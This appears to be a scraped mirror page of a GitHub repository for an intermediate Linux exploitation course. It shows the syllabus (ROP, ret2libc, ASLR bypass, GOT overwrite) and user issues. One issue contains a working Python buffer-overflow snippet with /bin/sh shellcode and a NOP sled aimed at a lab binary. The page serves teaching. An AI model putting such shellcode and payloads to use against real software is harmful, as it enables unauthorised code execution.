Git Product home page Git Product logo

linux-exploitation-course's Introduction

linux-exploitation-course

A Course on Intermediate Level Linux Exploitation

Pre-Requisites

The course is designed as a continuation of the Windows Exploit Development workshops by the people at Null Singapore and some pre-requisite knowledge is expected of the following topics:

  1. An Understanding of x86-64 Assembly
  2. Familiarity with GDB
  3. Familiarity with C and Python
  4. Familiarity with the Standard Jump to Shellcode Exploits

Please do view this 15 minute 'Introduction to Return Oriented Programming' video as a refresher. If you have time, please go through the lesson plan for the video.

Syllabus

  1. Setting Up the Environment
  2. How Does a Linux Binary Work? - Skipped for Now
  3. Introduction to PEDA and Pwntools
  4. Classic Exploitation Technique
  5. Linux Binary Protections
  6. Bypassing NX with Return Oriented Programming
  7. Bypassing NX with Ret2Libc
  8. ASLR in Depth
  9. Bypassing ASLR/NX with Ret2PLT
  10. Bypassing ASLR/NX with GOT Overwrite
  11. Memory Leaks - Skipped for Now
  12. Multi-Stage Exploits
  13. Format String Vulnerabilties
  14. Advanced Exercises

linux-exploitation-course's People

Contributors

adamgold avatar ahmetkotan avatar nnamon avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

linux-exploitation-course's Issues

ropper rop chain correction

Hi,

the bug which is responsible for the 'additional' gadget in the ropchain is fixed.
It would have been good if I had known this earlier ;)

So, if you want you can change your lessen6 script.

cheers

Default User after `vagrant ssh`

Hello, nice course! Thanks!

But during my learning, it is quite strange that after running the vagrant ssh on my Mac, the default user is "vagrant" and the command prompt is vagrant@ubuntu-xenial:~$.
And by this user, the gdb doesn't load PEDA. I have to use sudo su - ubuntu to change user. Is there any configuration I forgot?

My environment is:

  • MacOS High Sierra 10.13.4
  • Vagrant 2.0.4 for Mac
  • VirtualBox 5.2.0

Thanks!

Offsets of remote exploits not matching local ones

I am following the course, and while writing exploits for lesson 9 and 10, I noticed that scripts working locally will fail on remote.

Trying to triage the problem, it seems that the installed docker runs a different libc version - libc6.2-27.so - while the vagrant vm is equipped with libc6.2-23.so, at least on my environment.

Can you reproduce this?

I cannot understand the ret_address in classic overflow module

Hi,

I've just started the course and I'm really grateful to have found such a step by step resource.

In the the classic buffer overflow section, I'm not sure I understand why you put:
ret_address = 0xffffd5f0 + 28 + 4
in both examples.
I calculated the correct ret_address for my machine and it works fine but I had to remove
"+ 28 + 4" : the 28 bytes junk is added later and the 4 bytes is the ret address itself

ret_address = 0xffffd5b0
shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
             "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
             "\x80\xe8\xdc\xff\xff\xff/bin/sh")
payload = "A"*28 + p32(ret_address)
padding_len = 100 - len(payload) - len(shellcode)
payload += "\x90" * padding_len + shellcode

Thank you

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.